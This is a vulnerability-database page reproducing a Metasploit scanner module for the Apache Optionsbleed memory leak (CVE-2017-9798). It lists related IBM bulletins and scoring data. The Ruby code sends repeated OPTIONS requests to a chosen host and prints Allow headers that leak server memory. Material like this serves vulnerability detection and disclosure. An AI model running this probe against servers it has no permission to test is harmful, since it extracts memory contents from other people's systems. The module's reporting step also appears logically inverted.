Lucene search
K

Apache Optionsbleed Scanner

🗓️ 01 Sep 2024 00:00:00Reported by h00die, Hanno Bock, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 394 Views

Scan Apache server for Optionsbleed vulnerability

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in httpd affect Power Hardware Management Console
23 Sep 202101:45
ibm
IBM Security Bulletins
Security Bulletin: Security Vulnerabilities in IBM HTTP Server (CVE-2017-9798, CVE-2017-12618)
15 Jun 201807:08
ibm
IBM Security Bulletins
Security Bulletin: Security vulnerabilities have been identified in IBM HTTP Server shipped with IBM Rational ClearQuest (CVE-2017-9798, CVE-2017-12618)
4 Feb 202016:40
ibm
IBM Security Bulletins
Security Bulletin: Security vulnerabilities have been identified in IBM HTTP Server shipped with IBM Rational ClearCase (CVE-2017-9798, CVE-2017-12618)
10 Jul 201808:34
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in apache2 affect IBM Flex System Manager (FSM)
18 Jun 201801:42
ibm
IBM Security Bulletins
Security Bulletin: Multiple Security Issues in IBM Tealeaf Customer Experience PCA
23 Jun 201803:45
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in httpd affects PowerKVM
18 Jun 201801:38
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Access Manager Appliance is affected by a HTTPD vulnerability (CVE-2017-9798)
16 Jun 201822:05
ibm
IBM Security Bulletins
WebSphere Application Server and IBM HTTP Server Security Bulletin List
13 Jul 202218:04
ibm
IBM Security Bulletins
Security Bulletin: A Security vulnerability has been identified in Apache HTTP Server used by Rational Build Forge. (CVE-2017-9798)
20 Apr 202014:39
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Optionsbleed Scanner',  
'Description' => %q{  
This module scans for the Apache optionsbleed vulnerability where the Allow  
response header returned from an OPTIONS request may bleed memory if the  
server has a .htaccess file with an invalid Limit method defined.  
},  
'Author' => [  
'Hanno Böck', # Vulnerability discovery  
'h00die', # Metasploit module  
],  
'References' => [  
[ 'CVE', '2017-9798' ],  
[ 'EDB', '42745' ],  
[ 'URL', 'https://github.com/hannob/optionsbleed' ],  
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]  
],  
'DisclosureDate' => '2017-09-18',  
'License' => MSF_LICENSE,  
'Notes' =>  
{  
'AKA' => ['Optionsbleed']  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),  
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),  
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])  
])  
end  
  
def get_allow_header(ip)  
res = send_request_raw({  
'version' => '1.1',  
'method' => 'OPTIONS',  
'uri' => datastore['TARGETURI']  
}, 10)  
  
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']  
res.headers['Allow']  
end  
  
def run_host(ip)  
# Apache bug 61207 regex  
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/  
# Launchpad bug 1717682 regex  
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/  
uniques = []  
already_reported = false  
  
for counter in 1..datastore['REPEAT']  
allows = get_allow_header(ip)  
next if uniques.include?(allows) # no need to re-process non-new items  
uniques << allows  
if allows =~ bug_61207  
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items  
print_status('Some methods were sent multiple times in the list. ' +  
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']  
else  
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")  
end  
elsif allows =~ bug_1717682 && datastore['BUGS']  
print_status('The list of methods was space-separated instead of comma-separated. ' +  
'This is a bug, but harmless. It may be Launchpad bug #1717682.')  
else  
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")  
end  
next unless already_reported  
report_vuln(  
:host => ip,  
:port => rport,  
:name => self.name,  
:refs => self.references  
)  
already_reported = true  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5
EPSS0.9384
394